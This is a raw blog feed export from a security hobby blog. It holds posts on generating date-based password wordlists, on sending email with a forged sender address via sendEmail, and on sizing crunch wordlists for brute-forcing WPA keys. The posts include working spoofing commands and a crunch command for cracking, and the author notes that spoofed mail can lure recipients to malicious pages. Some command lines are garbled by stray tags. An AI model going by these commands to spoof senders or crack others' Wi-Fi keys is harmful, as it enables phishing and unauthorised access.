lime;"&gt;echo ""&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;exit&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;fi&lt;/span&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;done&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Not an easy few lines for me to remember.. at least for me..&lt;br /&gt;So after having done that, there was some desire to be able to change the output format to other formats,&lt;br /&gt;we each have our own preference !&lt;br /&gt;&lt;br /&gt;Going through it a bit more and trying to improve it I came up with datelist v0.2&lt;br /&gt;Now I am sure there must be easier ways to accomplish the same thing.. but it just simply escaped me.. &lt;br /&gt;&lt;br /&gt;Basically a pretty untidy mess code-wise, but it seems to more or less do the trick.&lt;br /&gt;&lt;br /&gt;Following a query on how to make a certain wordlist, I also included a possibility&lt;br /&gt;to either prepend or append additional numbers (max 5) to the created wordlist.&lt;br /&gt;I am not sure that the way it is done is the most effective and will probably re-visit that part. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: red;"&gt;If anyone feels like having a shot at trying it out, you can download it&lt;/span&gt; &lt;span style="color: red;"&gt;here&lt;/span&gt;;&lt;br /&gt;Edit 23-12-2011&lt;br /&gt;All previous versions superceded by v0.6, see download link at top of page.&lt;br /&gt;&lt;br /&gt;Starting it up (of course use filename that is appropriate for the download you have done);&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./datelist&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/datelist01.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/datelist01.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Starting with format option -1 used and entering the Start and End dates ;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./datelist -1&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/datelist02.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/datelist02.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Starting .. &lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/datelist03.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/datelist03.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Upon completion of the creation of datelist.txt, the 1st 5 lines of the created file will be shown to confirm&lt;br /&gt;the output format.&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/datelist04.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/datelist04.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #6aa84f;"&gt;&lt;u&gt;&lt;b&gt;APPENDING OR PREPENDING SEQUENTIAL NUMBERS &lt;/b&gt;&lt;/u&gt;&lt;/div&gt;&lt;br /&gt;&amp;nbsp;I also included a method of appending or prepending upto 5 sequential numeric values(0-9) to the created datelist.txt file. &lt;br /&gt;Not quite sure how useful this is or to whom.. not really for me, but hey, the question came up ;)&lt;br /&gt;&lt;br /&gt;This can be done with the -a (append) or -p (prepend) after having created the datelist.txt file.&lt;br /&gt;&lt;br /&gt;Appending 2 numeric characters sequentially with the -a switch and showing the result by showing the last&lt;br /&gt;5 lines of the file.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./datelist -a&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/datelist05.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/datelist05.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Prepending 2 numeric characters sequentially with the -p switch and showing the result by showing the last&lt;br /&gt;5 lines of the file.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./datelist -p&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/datelist06.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="354" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/datelist06.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Again, this is all just a bit of fun and most likely ludicrously funny to anyone able to really write,&lt;br /&gt;but who knows it may be of use to someone ;)&lt;br /&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;&lt;b&gt;Video showing the use of datelist (v0.3)&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;b&gt;&lt;a href="http://blip.tv/file/4842595"&gt;http://blip.tv/file/4842595&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;or&lt;br /&gt;&lt;b&gt;&lt;a href="http://www.youtube.com/watch?v=FEXbxbjh-eU"&gt;http://www.youtube.com/watch?v=FEXbxbjh-eU&lt;/a&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Dont be shy on commenting if its any help or simply worthless :D&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8356530514965708840-863869106910914544?l=adaywithtape.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adaywithtape.blogspot.com/feeds/863869106910914544/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://adaywithtape.blogspot.com/2011/03/creating-date-wordlist.html#comment-form' title='21 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/863869106910914544'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/863869106910914544'/><link rel='alternate' type='text/html' href='http://adaywithtape.blogspot.com/2011/03/creating-date-wordlist.html' title='Creating wordlists based on dates'/><author><name>TAPE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_vtirOlMBs5Y/S6kOuRDa9SI/AAAAAAAAABU/wlZOFGWKug8/S220/avatar.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://img.youtube.com/vi/q4Oof8BVbmc/default.jpg' height='72' width='72'/><thr:total>21</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8356530514965708840.post-1217635788310210811</id><published>2011-02-15T16:13:00.002+01:00</published><updated>2011-02-15T16:22:16.456+01:00</updated><title type='text'>sendEmail</title><content type='html'>&lt;div style="color: #6aa84f;"&gt;&lt;u&gt;&lt;b&gt;FUN WITH EMAIL&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;sendEmail in installed by default on the backtrack OS, and the options can simply be checked by typing ;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;sendEmail&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/sendEmail01.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="353" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/sendEmail01.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Make sure your ISP does not have any problems with the use of sendEmail prior to sending loads of mails&lt;br /&gt;to your roomate from MeganFox@movieworld.com .. &lt;br /&gt;&lt;br /&gt;This is by no means an anonymous emailing method, there will always be IP address details mentioned in the email headers and you need to specify the smtp server to use.&lt;br /&gt;You can specify to use the smtp server of the connection you have in place, or you can specify to use for instance the gmail smtp server.&lt;br /&gt;When using the gmail smtp server however, the gmail address will be seen as the &lt;b&gt;reply &lt;/b&gt;address.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Also, it is quite likely that some of the messages made such as the below examples will be picked up as spam..&lt;br /&gt;YMMV depending on how often you test on certain addresses.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;In any case, for an unsuspecting, not too savvy recipient.. it can  lure the recipient to malafoid webpages or entice to open attachments  etc.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #6aa84f;"&gt;&lt;u&gt;&lt;b&gt;SENDING BASIC EMAIL&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;&lt;br /&gt;So lets start off by creating a simple message, sending it to my gmail account  using my ISP's smtp server; &lt;br /&gt;(do a google on &lt;b&gt;smtp servers&lt;/b&gt; to find the one your ISP is using) &lt;br /&gt;&lt;br /&gt;&lt;span style="color: lime;"&gt;-f&lt;/span&gt;&amp;nbsp;&amp;nbsp; From (sender) email address&lt;br /&gt;&lt;span style="color: lime;"&gt;-t&lt;/span&gt;&amp;nbsp;&amp;nbsp; To email address&lt;br /&gt;&lt;span style="color: lime;"&gt;-u&lt;/span&gt;&amp;nbsp;&amp;nbsp; Subject (in quotes)&lt;br /&gt;&lt;span style="color: lime;"&gt;-m&lt;/span&gt;&amp;nbsp; Message body&lt;br /&gt;&lt;span style="color: lime;"&gt;-s&lt;/span&gt;&amp;nbsp;&amp;nbsp; smtp server&lt;br /&gt;&lt;br /&gt;I will seperate the commands partially using backslash &lt;span style="color: lime;"&gt;\&lt;/span&gt; as I get confused with long lines :) &lt;br /&gt;&lt;br /&gt;It is important to note that some special characters such as an  exclamation mark, can cause problems in the subject line / message line  depending on single or double quotes used.&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;sendEmail -f megan.fox@movieworld.com&lt;megan.fox@movieworld.com&gt;&lt;megan.fox@movieworld.com&gt;&lt;megan.fox@movieworld.com&gt;&lt;megan.fox@filmworld.com&gt;&lt;megan.fox@filmworld.com&gt; -t MyEmail@gmail.com \&lt;/megan.fox@filmworld.com&gt;&lt;/megan.fox@filmworld.com&gt;&lt;/megan.fox@movieworld.com&gt;&lt;/megan.fox@movieworld.com&gt;&lt;/megan.fox@movieworld.com&gt;&lt;br /&gt;&lt;megan.fox@movieworld.com&gt;&lt;megan.fox@movieworld.com&gt;&lt;megan.fox@movieworld.com&gt;&lt;megan.fox@filmworld.com&gt;&lt;megan.fox@filmworld.com&gt;-u "Enjoyed meeting you at the party good-looking ;)" \ &lt;/megan.fox@filmworld.com&gt;&lt;/megan.fox@filmworld.com&gt;&lt;/megan.fox@movieworld.com&gt;&lt;/megan.fox@movieworld.com&gt;&lt;/megan.fox@movieworld.com&gt;&lt;br /&gt;&lt;megan.fox@movieworld.com&gt;&lt;megan.fox@movieworld.com&gt;&lt;megan.fox@movieworld.com&gt;&lt;megan.fox@filmworld.com&gt;&lt;megan.fox@filmworld.com&gt;-m "We sure had a good time didnt we, cant wait to see you again .. " \&lt;/megan.fox@filmworld.com&gt;&lt;/megan.fox@filmworld.com&gt;&lt;/megan.fox@movieworld.com&gt;&lt;/megan.fox@movieworld.com&gt;&lt;/megan.fox@movieworld.com&gt;&lt;br /&gt;&lt;megan.fox@movieworld.com&gt;&lt;megan.fox@movieworld.com&gt;&lt;megan.fox@movieworld.com&gt;&lt;megan.fox@filmworld.com&gt;&lt;megan.fox@filmworld.com&gt;-s smtp.isp&lt;/megan.fox@filmworld.com&gt;&lt;/megan.fox@filmworld.com&gt;&lt;/megan.fox@movieworld.com&gt;&lt;/megan.fox@movieworld.com&gt;&lt;/megan.fox@movieworld.com&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/sendEmail02.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="294" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/sendEmail02.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As received in gmail (this one got caught as being spam as I had tested it a few times in quick succession) ;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&amp;nbsp;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/sendEmail03.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/sendEmail03.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now my better half would never believe that I actually met Megan Fox at a party or that she was so thunderstruck by my charming self she thought it necessary to email me..&lt;br /&gt;But hey, you get the idea ;) &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #6aa84f;"&gt;&lt;u&gt;&lt;b&gt;USING STDIN FOR MESSAGE INPUT&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;&lt;br /&gt;If we want to be able to write a bit more in the email body, simply leave out the -m option, and sendEmail will read from STDIN, you will be prompted to enter a message after entering the command and then press Ctrl+D&lt;br /&gt;(on its own line) to have it read and then sent ;&lt;br /&gt;Lets use an example which the better halves will appreciate a bit more, like sending an email to your wife on Valentine's Day.. yeah...what a romantic..&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;sendEmail -f Secret.Admirer@secret.com&lt;your.valentine@valentine.com&gt;&lt;secret.admirer@admirers.com&gt; -t BetterHalf@gmail.com \&lt;/secret.admirer@admirers.com&gt;&lt;/your.valentine@valentine.com&gt;&lt;br /&gt;&lt;your.valentine@valentine.com&gt;&lt;secret.admirer@admirers.com&gt;-u "Will you be my valentine?" \&lt;/secret.admirer@admirers.com&gt;&lt;/your.valentine@valentine.com&gt;&lt;br /&gt;&lt;your.valentine@valentine.com&gt;&lt;secret.admirer@admirers.com&gt; -s smtp.isp&lt;/secret.admirer@admirers.com&gt;&lt;/your.valentine@valentine.com&gt;&lt;/div&gt;&lt;br /&gt;You will then be presented with;&lt;br /&gt;&lt;i&gt;Reading message body from STDIN because the '-m' option was not used.&lt;/i&gt;&lt;br /&gt;&lt;i&gt;If you are manually typing in a message:&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; - First line must be received within 60 seconds.&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&amp;nbsp; - End manual input with a CTRL-D on its own line.&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;So type the desired message and when finished make sure you hit enter to get to a free / blank line, then&lt;br /&gt;hit CTR+D ; &lt;br /&gt;&lt;div style="color: yellow;"&gt;Roses are Red&lt;/div&gt;&lt;div style="color: yellow;"&gt;Violets are Blue&lt;/div&gt;&lt;div style="color: yellow;"&gt;Sugar is Sweet&lt;/div&gt;&lt;div style="color: yellow;"&gt;And so are You !&lt;/div&gt;&lt;span style="color: lime;"&gt;Ctrl+D&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/sendEmail04.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="294" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/sendEmail04.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As received in gmail ;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/sendEmail05.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/sendEmail05.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now if that doesn't get an appreciative smile / freebie to grab another  beer, then you must have really been snoring the night before..&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #6aa84f;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="color: #6aa84f;"&gt;&lt;u&gt;&lt;b&gt;SENDING EMAIL WITH MESSAGE PRE-PREPARED IN TXT FILE&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;&lt;br /&gt;You can also prepare a written message and have sendEmail enter this as the message body ;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;nano valentine&lt;/div&gt;&lt;br /&gt;&lt;div style="color: yellow;"&gt;Will you be my Valentine ?&lt;/div&gt;&lt;div style="color: yellow;"&gt;===================&lt;/div&gt;&lt;div style="color: yellow;"&gt;Roses are Red&lt;br /&gt;Violets are Blue&lt;br /&gt;Sugar is Sweet&lt;br /&gt;And So Are You !&lt;br /&gt;&lt;br /&gt;HAPPY VALENTINE'S DAY !&lt;/div&gt;&lt;div style="color: yellow;"&gt;&lt;/div&gt;&lt;br /&gt;Save and Exit; &lt;span style="color: lime;"&gt;Ctrl+X --&amp;gt; Y&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;sendEmail -f secret.admirer&lt;your.valentine@valentine.com&gt;&lt;secret.admirer@admirers.com&gt;@secret.com -t BetterHalf@gmail.com \&lt;/secret.admirer@admirers.com&gt;&lt;/your.valentine@valentine.com&gt;&lt;br /&gt;&lt;your.valentine@valentine.com&gt;&lt;secret.admirer@admirers.com&gt;-u  "Will you  be my valentine?" \&lt;/secret.admirer@admirers.com&gt;&lt;/your.valentine@valentine.com&gt;&lt;br /&gt;&lt;your.valentine@valentine.com&gt;&lt;secret.admirer@admirers.com&gt;-o message-file=valentine \&lt;/secret.admirer@admirers.com&gt;&lt;/your.valentine@valentine.com&gt;&lt;br /&gt;&lt;your.valentine@valentine.com&gt;&lt;secret.admirer@admirers.com&gt; -s smtp.isp&lt;/secret.admirer@admirers.com&gt;&lt;/your.valentine@valentine.com&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/sendEmail06.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="294" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/sendEmail06.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;As received in gmail ;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/sendEmail07.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://i94.photobucket.com/albums/l112/TAPE_RULEZ/sendEmail07.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: #6aa84f;"&gt;&lt;u&gt;&lt;b&gt;USING GMAIL'S SMTP FOR SENDING MAIL&lt;/b&gt;&lt;/u&gt;&lt;/div&gt;&lt;br /&gt;In order to use gmail's smtp server, you have to specify your gmail username (with -xu) &amp;amp; password (with -xp).&lt;br /&gt;&lt;br /&gt;An example herebelow ;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;sendEmail -f DesiredEmail@whatever.com -t YourEmail@testaccount.com \&lt;/div&gt;&lt;div style="color: lime;"&gt;-u "Testing Gmail smtp" \&lt;/div&gt;&lt;div style="color: lime;"&gt;-m "Just a test for the gmail smtp" \&lt;/div&gt;&lt;div style="color: lime;"&gt;-s smtp.gmail.com \&lt;/div&gt;&lt;div style="color: lime;"&gt;-xu your.gmail@gmail.com \&lt;/div&gt;&lt;div style="color: lime;"&gt;-xp gmailpassword&lt;/div&gt;&lt;br /&gt;When sending the message, the &lt;b&gt;return &lt;/b&gt;address will always be your gmail account, also, the sent message will be stored in the gmail account being used.&lt;br /&gt;&lt;br /&gt;Of course there are quite a few more options, adding cc's / bcc's, including attachments, etc etc. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Just a bit of fun, but goes to show that checking where certain emails come from is not a bad idea.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Especially if they include links to sites or attachments..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8356530514965708840-1217635788310210811?l=adaywithtape.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adaywithtape.blogspot.com/feeds/1217635788310210811/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://adaywithtape.blogspot.com/2011/02/sendemail.html#comment-form' title='16 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/1217635788310210811'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8356530514965708840/posts/default/1217635788310210811'/><link rel='alternate' type='text/html' href='http://adaywithtape.blogspot.com/2011/02/sendemail.html' title='sendEmail'/><author><name>TAPE</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_vtirOlMBs5Y/S6kOuRDa9SI/AAAAAAAAABU/wlZOFGWKug8/S220/avatar.jpg'/></author><thr:total>16</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8356530514965708840.post-3971447210189414388</id><published>2010-09-27T09:50:00.018+02:00</published><updated>2010-10-22T14:46:33.789+02:00</updated><title type='text'>Wordlist Sizes</title><content type='html'>The post on &lt;a href="http://adaywithtape.blogspot.com/2010/04/creating-wordlists-with-crunch-v23.html"&gt;creating wordlists with crunch v2.4&lt;/a&gt; receives the most hits by far on my blog and from the&lt;br /&gt;queries in the comments section, it would seem that not everyone realises what the potential size can be&lt;br /&gt;when creating wordlists.&lt;br /&gt;&lt;div style="color: red;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;i&gt;&lt;b style="color: red;"&gt;EDIT&lt;/b&gt;&lt;/i&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;&lt;i&gt;&lt;b&gt;====&lt;/b&gt;&lt;/i&gt;&lt;/div&gt;&lt;i&gt;Check out the latest revision of crunch, bofh28 just released v2.6 03-10-2010.&lt;/i&gt;&lt;br /&gt;&lt;i&gt;Crunch is now including a size estimate when starting up the wordlist generation, so you can see what size the wordlist you are planning will be.&lt;/i&gt;&lt;br /&gt;&lt;i&gt;That along with a few more new nice additions.&lt;/i&gt;&lt;br /&gt;&lt;i&gt;Download the latest crunch here;&lt;/i&gt;&lt;br /&gt;&lt;i&gt;&lt;a href="http://sourceforge.net/projects/crunch-wordlist/"&gt;http://sourceforge.net/projects/crunch-wordlist/&lt;/a&gt;&lt;/i&gt;&lt;br /&gt;&lt;div style="color: red;"&gt;&lt;i&gt;Edit&lt;/i&gt;&lt;/div&gt;&lt;i&gt;latest revision of crunch now also included in the backtrack 4 repository.&lt;br /&gt;&lt;/i&gt;&lt;br /&gt;&lt;br /&gt;Lets say you are working on a wordlist for a WPA key (which always have a minimum of 8 characters)&lt;br /&gt;and lets say that you know for a fact that the passkey in question is an eight character combination of the following digits and letters;&lt;br /&gt;&lt;div style="color: lime;"&gt;0123456789ABCDEF&lt;/div&gt;(like some internet companies have on their broadband modem/routers where I am from).&lt;br /&gt;&lt;br /&gt;To create a wordlist with all possible combinations based on the passphrase having 8 characters only,&lt;br /&gt;you could use the following syntax in crunch;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;./crunch 8 8 0123456789ABCDEF -o wpa-list.txt&lt;/div&gt;&lt;br /&gt;That one line of code seems so simple, yet when you check the estimated size of the wordlist to be created&lt;br /&gt;you would definately think twice about trying to create, save and use it...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The size of the wordlist can be calculated as follows ;&lt;br /&gt;&lt;br /&gt;(x^y) * (y+1) = size in bytes&lt;br /&gt;x = The number of characters being used to create the wordlist&lt;br /&gt;y = The number of characters the words/passphrases in the wordlist have. &lt;br /&gt;&lt;br /&gt;Based on the above example, we have 10 possible numeric values and 6 possible alpha values,&lt;br /&gt;so 16 characters in total, and we want to calculate based on a wordlist wherein the passphrases have 8 characters.&lt;br /&gt;To calculate what the size would be in konsole we can use "bc" ;&lt;br /&gt;&lt;br /&gt;&lt;div style="color: lime;"&gt;echo "(16^8)*(8+1)" | 